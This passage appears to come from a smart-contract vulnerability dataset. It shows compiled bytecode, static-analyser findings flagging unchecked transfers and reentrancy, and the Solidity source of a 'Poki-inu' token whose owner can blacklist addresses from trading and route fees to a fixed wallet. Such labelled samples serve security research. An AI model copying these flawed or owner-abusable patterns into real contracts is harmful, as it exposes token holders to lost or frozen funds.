00000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610e3c83600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5c90919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e9333600a611f5f90919063ffffffff16565b8015610ede57506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610ef957610ef733600a611f8f90919063ffffffff16565b505b505050565b6000610f1482600a611f5f90919063ffffffff16565b610f215760009050611066565b6000600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610f725760009050611066565b6000610fc6600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442611c5c90919063ffffffff16565b90506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061105d61271061104f6003546110418761103360025489611f1790919063ffffffff16565b611f1790919063ffffffff16565b611f4690919063ffffffff16565b611f4690919063ffffffff16565b90508093505050505b919050565b6000611077600a611fbf565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110d757600080fd5b826004819055508160058190555092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461114657600080fd5b81600881905550919050565b600960009054906101000a900460ff1681565b61116e33611c73565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111cb57600080fd5b81600281905550919050565b60011515600960009054906101000a900460ff16151514611260576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5374616b696e67206973206e6f742079657420696e697469616c697a6564000081525060200191505060405180910390fd5b600081116112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561138757600080fd5b505af115801561139b573d6000803e3d6000fd5b505050506040513d60208110156113b157600080fd5b8101908080519060200190929190505050611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61143d33611c73565b600061146861271061145a60045485611f1790919063ffffffff16565b611f4690919063ffffffff16565b9050600061147f8284611c5c90919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561153457600080fd5b505af1158015611548573d6000803e3d6000fd5b505050506040513d602081101561155e57600080fd5b81019080805190602001909291905050506115e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61163381600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd490919063ffffffff16565b600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061168a33600a611f5f90919063ffffffff16565b6116e8576116a233600a611ff090919063ffffffff16565b5042600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b600d6020528060005260406000206000915090505481565b60045481565b600f6020528060005260406000206000915090505481565b60065481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178157600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611807576117df611976565b8111156117eb57600080fd5b61180081600754611fd490919063ffffffff16565b6007819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561187857600080fd5b505af115801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b810190808051906020019092919050505050505050565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461194657600080fd5b81600681905550919050565b600c6020528060005260406000206000915090505481565b60075481565b60055481565b60006008546007541061198c57600090506119ac565b60006119a5600754600854611c5c90919063ffffffff16565b9050809150505b90565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a0757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611a4157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b5957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806121d46030913960400191505060405180910390fd5b81600960006101000a81548160ff021916908315150217905550919050565b600e6020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082821115611c6857fe5b818303905092915050565b6000611c7e82610efe565b90506000811115611ecf57600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611d1c57600080fd5b505af1158015611d30573d6000803e3d6000fd5b505050506040513d6020811015611d4657600080fd5b8101908080519060200190929190505050611dc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b611e1b81600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd490919063ffffffff16565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7381600754611fd490919063ffffffff16565b6007819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008082840290506000841480611f36575082848281611f3357fe5b04145b611f3c57fe5b8091505092915050565b600080828481611f5257fe5b0490508091505092915050565b6000611f87836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612020565b905092915050565b6000611fb7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612043565b905092915050565b6000611fcd8260000161212b565b9050919050565b600080828401905083811015611fe657fe5b8091505092915050565b6000612018836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61213c565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461211f576000600182039050600060018660000180549050039050600086600001828154811061208e57fe5b90600052602060002001549050808760000184815481106120ab57fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806120e357fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050612125565b60009150505b92915050565b600081600001805490509050919050565b60006121488383612020565b6121a15782600001829080600181540180825580915050600190039060005260206000200160009091909190915055826000018054905083600101600084815260200190815260200160002081905550600190506121a6565b600090505b9291505056fe496e76616c6964206164647265737320666f726d6174206973206e6f7420737570706f72746564496e74657272616374696e6720746f6b656e2061646472657373206973206e6f742079657420636f6e66696775726564556e7374616b6520416674657220343820486f7572732046726f6d205374616b65a26469706673582212202b78a11a99db38ad273e988f5dfac45c27f8a64b47f6530c54ed5d68bba484e664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,734
0x99EE29d6EE63ccd35Be4FE22dc9b6579CA7121C8
/** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Poki is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 7; address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160); string private constant _name = "Poki-inu"; string private constant _symbol = "Poki-inu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600881526020017f506f6b692d696e75000000000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f506f6b692d696e75000000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffff